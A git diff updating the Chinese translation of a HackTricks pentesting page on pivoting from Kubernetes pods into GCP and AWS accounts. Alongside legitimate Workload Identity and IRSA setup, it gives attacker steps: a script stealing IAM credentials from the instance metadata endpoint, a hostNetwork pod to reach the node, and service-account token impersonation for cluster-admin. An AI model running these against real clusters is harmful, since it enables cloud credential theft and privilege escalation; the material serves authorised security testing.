mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-piv
This commit is contained in:
@@ -4,47 +4,62 @@
|
||||
|
||||
## GCP
|
||||
|
||||
如果您在 GCP 内运行 k8s 集群,您可能希望集群内的某个应用程序能够访问 GCP。有两种常见的方法可以实现这一点:
|
||||
如果你的 k8s 集群运行在 GCP 内,你可能希望集群内运行的某些应用能访问 GCP。常见的两种做法是:
|
||||
|
||||
### 将 GCP-SA 密钥挂载为秘密
|
||||
### 将 GCP-SA keys 挂载为 secret
|
||||
|
||||
给予 **kubernetes 应用程序访问 GCP** 的一种
|
||||
一种常见的方法来给予 **kubernetes 应用访问 GCP** 的权限是:
|
||||
|
||||
- 创建一个 GCP Service Account
|
||||
- 为其绑定所需权限
|
||||
- 下载所创建 SA 的 json key
|
||||
- 将其作为 secret 挂载到 pod 内
|
||||
- 设置 GOOGLE_APPLICATION_CREDENTIALS 环境变量,指向 json 所在路径。
|
||||
|
||||
> [!WARNING]
|
||||
> 因此,作为一个 **attacker**,如果你攻陷了 pod 内的容器,你应该检查是否存在该 **env** **variable** 以及包含 GCP 凭证的 **json** **files**。
|
||||
|
||||
### 将 GSA json 关联到 KSA secret
|
||||
|
||||
将 GSA 的访问权限授予 GKE cluster 的一种方式是通过如下绑定:
|
||||
|
||||
- 在与您的 GKE cluster 相同的命名空间中创建一个 Kubernetes service account,使用以下命令:
|
||||
```bash
|
||||
Copy codekubectl create serviceaccount <service-account-name>
|
||||
kubectl create serviceaccount <service-account-name>
|
||||
```
|
||||
- 创建一个 Kubernetes Secret,包含您要授予 GKE 集群访问权限的 GCP 服务帐户的凭据。您可以使用 `gcloud` 命令行工具来完成此操作,如下例所示:
|
||||
- 创建一个包含你想授予对 GKE 集群访问权限的 GCP 服务帐号凭据的 Kubernetes Secret。你可以使用 `gcloud` 命令行工具完成此操作,如下例所示:
|
||||
```bash
|
||||
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
|
||||
gcloud iam service-accounts keys create <key-file-name>.json \
|
||||
--iam-account <gcp-service-account-email>
|
||||
kubectl create secret generic <secret-name> \
|
||||
--from-file=key.json=<key-file-name>.json
|
||||
```
|
||||
- 使用以下命令将 Kubernetes Secret 绑定到 Kubernetes 服务账户:
|
||||
- 将 Kubernetes Secret 绑定到 Kubernetes service account,使用以下命令:
|
||||
```bash
|
||||
Copy codekubectl annotate serviceaccount <service-account-name> \
|
||||
kubectl annotate serviceaccount <service-account-name> \
|
||||
iam.gke.io/gcp-service-account=<gcp-service-account-email>
|
||||
```
|
||||
> [!WARNING]
|
||||
> 在**第二步**中,将**GSA的凭据设置为KSA的秘密**。然后,如果您可以从**GKE**集群的**内部**读取该秘密,您可以**升级到该GCP服务账户**。
|
||||
> 在 **第二步** 中将 **GSA 的凭证设为 KSA 的 secret**。然后,如果你能从 **GKE** 集群的**内部**读取该 secret,你就可以**提升为该 GCP service account**。
|
||||
|
||||
### GKE Workload Identity
|
||||
|
||||
通过Workload Identity,我们可以配置一个[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) 作为一个[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts)。使用Kubernetes服务账户运行的Pods在访问Google Cloud API时将自动作为Google服务账户进行身份验证。
|
||||
使用 Workload Identity,我们可以将一个 [Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) 配置为充当 [Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts)。以该 Kubernetes service account 运行的 Pods 在访问 Google Cloud APIs 时会自动以 Google service account 的身份进行认证。
|
||||
|
||||
启用此行为的**第一系列步骤**是**在GCP中启用Workload Identity**([**步骤**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c))并创建您希望k8s模拟的GCP SA。
|
||||
The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate.
|
||||
|
||||
- 在新集群上**启用Workload Identity**
|
||||
- **在新集群上启用 Workload Identity**
|
||||
```bash
|
||||
gcloud container clusters update <cluster_name> \
|
||||
--region=us-central1 \
|
||||
--workload-pool=<project-id>.svc.id.goog
|
||||
```
|
||||
- **创建/更新一个新的节点池** (Autopilot 集群不需要此操作)
|
||||
- **创建/更新新的 nodepool** (Autopilot clusters 不需要此操作)
|
||||
```bash
|
||||
# You could update instead of create
|
||||
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
|
||||
```
|
||||
- 从 K8s 创建 **GCP 服务账户以进行 impersonate**,并赋予 GCP 权限:
|
||||
- 从 K8s 创建要冒充的 **GCP Service Account** 并授予 GCP 权限:
|
||||
```bash
|
||||
# Create SA called "gsa2ksa"
|
||||
gcloud iam service-accounts create gsa2ksa --project=<project-id>
|
||||
@@ -65,7 +80,7 @@ kubectl create namespace testing
|
||||
# Create the KSA
|
||||
kubectl create serviceaccount ksa2gcp -n testing
|
||||
```
|
||||
- **将GSA与KSA绑定**
|
||||
- **将 GSA 与 KSA 绑定**
|
||||
```bash
|
||||
# Allow the KSA to access the GSA in GCP IAM
|
||||
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
|
||||
@@ -77,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
|
||||
--namespace testing \
|
||||
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
|
||||
```
|
||||
- 运行一个 **pod** 使用 **KSA** 并检查对 **GSA** 的 **访问**:
|
||||
- 运行一个 **pod** 并使用 **KSA**,检查对 **GSA** 的 **access**:
|
||||
```bash
|
||||
# If using Autopilot remove the nodeSelector stuff!
|
||||
echo "apiVersion: v1
|
||||
@@ -103,15 +118,15 @@ kubectl exec -it workload-identity-test \
|
||||
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
|
||||
gcloud auth list
|
||||
```
|
||||
检查以下命令以进行身份验证(如有需要):
|
||||
如有需要,请检查下面用于进行身份验证的命令:
|
||||
```bash
|
||||
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
|
||||
```
|
||||
> [!WARNING]
|
||||
> 作为 K8s 内部的攻击者,您应该 **搜索 SAs**,带有 **`iam.gke.io/gcp-service-account` 注释**,因为这表明该 SA 可以访问 GCP 中的某些内容。另一个选项是尝试滥用集群中的每个 KSA 并检查它是否具有访问权限。\
|
||||
> 从 GCP 开始,枚举绑定并了解 **您在 Kubernetes 内部给予 SAs 的访问权限** 总是很有趣。
|
||||
> 作为位于 K8s 内的攻击者,你应该**搜索带有 `iam.gke.io/gcp-service-account` annotation 的 SAs**,因为这表明该 SA 可以访问 GCP 中的某些内容。另一种选择是尝试滥用集群中的每个 KSA,并检查它是否有访问权限。\
|
||||
> 在 GCP 中,枚举 bindings 并了解**你授予 Kubernetes 内 SAs 的访问权限**总是很有价值。
|
||||
|
||||
这是一个脚本,用于轻松 **遍历所有 pod** 定义 **查找** 该 **注释**:
|
||||
这是一个脚本,用于轻松**遍历所有 pods 的定义**,**查找**该**annotation**:
|
||||
```bash
|
||||
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
@@ -124,11 +139,11 @@ done | grep -B 1 "gcp-service-account"
|
||||
```
|
||||
## AWS
|
||||
|
||||
### Kiam & Kube2IAM (IAM角色用于Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
|
||||
一种(过时的)为Pods提供IAM角色的方法是使用一个[**Kiam**](https://github.com/uswitch/kiam)或一个[**Kube2IAM**](https://github.com/jtblin/kube2iam) **服务器。** 基本上,您需要在集群中运行一个带有**特权IAM角色**的**守护进程集**。这个守护进程集将为需要的Pods提供IAM角色的访问权限。
|
||||
给 Pods 分配 IAM Roles 的一种(已过时的)方式是使用 [**Kiam**](https://github.com/uswitch/kiam) 或 [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** 基本上你需要在集群中运行一个带有 **kind of privileged IAM role** 的 **daemonset**。这个 daemonset 会负责为需要的 pods 提供对 IAM roles 的访问。
|
||||
|
||||
首先,您需要配置**哪些角色可以在命名空间内访问**,您可以通过在命名空间对象内添加注释来实现:
|
||||
首先你需要配置 **which roles can be accessed inside the namespace**,这可以通过在 namespace 对象内添加一个注解完成:
|
||||
```yaml:Kiam
|
||||
kind: Namespace
|
||||
metadata:
|
||||
@@ -146,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
|
||||
["role-arn"]
|
||||
name: default
|
||||
```
|
||||
一旦命名空间配置了 IAM 角色,Pods 可以拥有的角色,你可以 **在每个 pod 定义中指明你想要的角色,例如**:
|
||||
一旦为 namespace 配置了 Pods 可以拥有的 IAM roles,你就可以在每个 pod definition 中**像下面这样指定你想要的 role**:
|
||||
```yaml:Kiam & Kube2iam
|
||||
kind: Pod
|
||||
metadata:
|
||||
@@ -156,12 +171,12 @@ annotations:
|
||||
iam.amazonaws.com/role: reportingdb-reader
|
||||
```
|
||||
> [!WARNING]
|
||||
> 作为攻击者,如果您在 pods 或 namespaces 中发现这些注释,或者运行中的 kiam/kube2iam 服务器(可能在 kube-system 中),您可以 **冒充每个已经被 pods 使用的角色**,以及更多(如果您有访问 AWS 账户的权限,请枚举角色)。
|
||||
> 作为攻击者,如果你在 pods 或 namespaces 中 **发现这些注解**,或者发现正在运行的 kiam/kube2iam 服务器(很可能在 kube-system),你就可以 **冒充每个角色**,这些角色已经 **被 pods 使用**,甚至更多(如果你有对 AWS 账号的访问权限,可枚举这些角色)。
|
||||
|
||||
#### 创建带有 IAM 角色的 Pod
|
||||
#### 创建带 IAM Role 的 Pod
|
||||
|
||||
> [!NOTE]
|
||||
> 指定的 IAM 角色必须与 kiam/kube2iam 角色在同一个 AWS 账户中,并且该角色必须能够访问它。
|
||||
> 要指定的 IAM 角色必须位于与 kiam/kube2iam 角色相同的 AWS 账号中,并且该角色必须能够访问它。
|
||||
```yaml
|
||||
echo 'apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -177,14 +192,14 @@ image: alpine
|
||||
command: ["/bin/sh"]
|
||||
args: ["-c", "sleep 100000"]' | kubectl apply -f -
|
||||
```
|
||||
### IAM Role for K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
### 通过 OIDC 为 K8s Service Accounts 的 IAM Role <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
|
||||
这是 **AWS 推荐的方式**。
|
||||
|
||||
1. 首先,您需要 [为集群创建一个 OIDC 提供者](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)。
|
||||
2. 然后,您创建一个具有 SA 所需权限的 IAM 角色。
|
||||
3. 创建一个 [IAM 角色与 SA 之间的信任关系](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) 名称(或命名空间,允许角色访问命名空间中所有 SA)。 _信任关系主要检查 OIDC 提供者名称、命名空间名称和 SA 名称_。
|
||||
4. 最后,**创建一个带有注释指示角色 ARN 的 SA**,运行该 SA 的 pods 将具有 **访问角色的令牌**。**令牌**被 **写入** 文件中,路径在 **`AWS_WEB_IDENTITY_TOKEN_FILE`** 中指定(默认:`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)。
|
||||
1. 首先你需要 [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)。
|
||||
2. 然后创建一个 IAM role,并赋予该 SA 所需的权限。
|
||||
3. 创建一个 [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html)(或为某些 namespace 配置,使该 namespace 下的所有 SA 都能访问该 role)。_信任关系主要会检查 OIDC provider 名称、namespace 名称和 SA 名称_。
|
||||
4. 最后,**创建一个带有注释(annotation)指明该 role ARN 的 SA**,并且使用该 SA 运行的 pods 将**能访问该 role 的 token**。该 **token** 会**写入**一个文件,路径由 **`AWS_WEB_IDENTITY_TOKEN_FILE`** 指定(默认:`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)。
|
||||
```bash
|
||||
# Create a service account with a role
|
||||
cat >my-service-account.yaml <<EOF
|
||||
@@ -201,27 +216,27 @@ kubectl apply -f my-service-account.yaml
|
||||
# Add a role to an existent service account
|
||||
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
|
||||
```
|
||||
要**使用令牌获取 aws**,请从 `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` 运行:
|
||||
要 **从 `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` 获取用于 aws 的 token**,运行:
|
||||
```bash
|
||||
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
|
||||
```
|
||||
> [!WARNING]
|
||||
> 作为攻击者,如果您可以枚举 K8s 集群,请检查具有 **该注释的服务帐户** 以 **升级到 AWS**。为此,只需 **exec/create** 一个 **pod**,使用其中一个 IAM **特权服务帐户** 并窃取令牌。
|
||||
> 作为攻击者,如果你能列举一个 K8s cluster,请检查是否存在带有该注解的 **service accounts with that annotation** 以便 **escalate to AWS**。要做到这一点,只需使用其中一个带有 IAM 权限的 **privileged service accounts** 来 **exec/create** 一个 **pod** 并窃取令牌。
|
||||
>
|
||||
> 此外,如果您在 pod 内,请检查环境变量,如 **AWS_ROLE_ARN** 和 **AWS_WEB_IDENTITY_TOKEN**。
|
||||
> 此外,如果你在 pod 内,检查像 **AWS_ROLE_ARN** 和 **AWS_WEB_IDENTITY_TOKEN** 这样的环境变量。
|
||||
|
||||
> [!CAUTION]
|
||||
> 有时,角色的 **信任策略** 可能配置不当,而不是将 AssumeRole 访问权限授予预期的服务帐户,而是授予 **所有服务帐户**。因此,如果您能够在受控服务帐户上写入注释,您可以访问该角色。
|
||||
> 有时角色的 **Trust Policy** 可能被 **bad configured**,而不是将 **AssumeRole** 的访问权限授予预期的 **service account**,反而授予了 **all the service accounts**。因此,如果你能够在一个受控的 **service account** 上写入注解,你就能访问该 **role**。
|
||||
>
|
||||
> 请查看 **以下页面以获取更多信息**:
|
||||
> Check the **following page for more information**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### 查找集群中具有 IAM 角色的 Pods 和 SAs
|
||||
### 在 Cluster 中查找具有 IAM Roles 的 Pods 和 SAs
|
||||
|
||||
这是一个脚本,可以轻松 **遍历所有 pods 和 sas** 定义 **查找** 该 **注释**:
|
||||
这是一个脚本,用来轻松 **iterate over the all the pods and sas** 定义,**looking** 那个 **annotation**:
|
||||
```bash
|
||||
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
@@ -238,19 +253,26 @@ echo ""
|
||||
done
|
||||
done | grep -B 1 "amazonaws.com"
|
||||
```
|
||||
### Node IAM Role
|
||||
### Node IAM Role to cluster-admin
|
||||
|
||||
前一节讨论了如何通过 pods 盗取 IAM 角色,但请注意,K8s 集群的 **节点将是云中的一个实例**。这意味着该节点很可能会 **拥有一个新的 IAM 角色供你盗取**(_请注意,通常 K8s 集群的所有节点将具有相同的 IAM 角色,因此可能不值得尝试检查每个节点_)。
|
||||
上一节介绍了如何通过 pods 窃取 IAM Roles,但请注意,K8s 集群中的 **Node** 实际上是云中的一个 **instance**。这意味着该 Node 很可能会**拥有你可以窃取的 IAM role**(_注意通常 K8s 集群的所有 nodes 会使用相同的 IAM role,所以不一定值得去检查每个 node_)。
|
||||
|
||||
然而,要访问节点的元数据端点,有一个重要的要求,你需要在节点上(ssh 会话?)或至少在同一网络中:
|
||||
要访问 node 的 metadata endpoint 你需要:
|
||||
- 位于一个 pod 中,并且 metadata endpoint 被配置为至少 2 个 tcp hops。这个是最常见的错误配置,因为通常集群中不同的 pods 需要访问 metadata endpoint 才不会出问题,很多公司就干脆允许集群中所有 pods 访问 metadata endpoint。
|
||||
- 位于启用了 `hostNetwork` 的 pod 中。
|
||||
- 逃逸到 node 并直接访问 metadata endpoint。
|
||||
|
||||
(注意 metadata endpoint 一直是在 169.254.169.254)。
|
||||
|
||||
要**逃逸到 node**,你可以使用下面的命令运行一个启用了 `hostNetwork` 的 pod:
|
||||
```bash
|
||||
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
|
||||
```
|
||||
### 偷取 IAM 角色令牌
|
||||
### Steal IAM Role Token
|
||||
|
||||
之前我们讨论了如何 **将 IAM 角色附加到 Pods**,甚至如何 **逃逸到节点以偷取实例附加的 IAM 角色**。
|
||||
之前我们讨论过如何 **attach IAM Roles to Pods**,甚至如何 **escape to the Node to steal the IAM Role**(从实例上窃取其附加的 IAM Role)。
|
||||
|
||||
您可以使用以下脚本来 **偷取** 您新辛苦获得的 **IAM 角色凭证**:
|
||||
你可以使用下面的脚本来 **steal** 你辛苦获得的 **IAM role credentials**:
|
||||
```bash
|
||||
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
|
||||
if [ "$IAM_ROLE_NAME" ]; then
|
||||
@@ -261,6 +283,19 @@ curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE
|
||||
fi
|
||||
fi
|
||||
```
|
||||
### Privesc to cluster-admin
|
||||
|
||||
总结:如果可以从 pod 访问 **EKS Node IAM role**,就可能 **compromise the full kubernetes cluster**。
|
||||
|
||||
欲了解更多信息,请查看 [this post](https://blog.calif.io/p/privilege-escalation-in-eks)。概括来说,默认分配给 EKS 节点的 IAM 角色在集群内部被映射为 `system:node`。这个角色很有价值,但受限于 kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)。
|
||||
|
||||
不过,node 总是可以 **为在该 node 内运行的 pod 中的服务账户生成令牌**。因此,如果该 node 运行着一个具有特权服务账户的 pod,node 可以为该服务账户生成令牌并用它来模拟该服务账户,例如:
|
||||
```bash
|
||||
kubectl --context=node1 create token -n ns1 sa-priv \
|
||||
--bound-object-kind=Pod \
|
||||
--bound-object-name=pod-priv \
|
||||
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
|
||||
```
|
||||
## 参考文献
|
||||
|
||||
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
|
||||
|
||||
Reference in New Issue
Block a user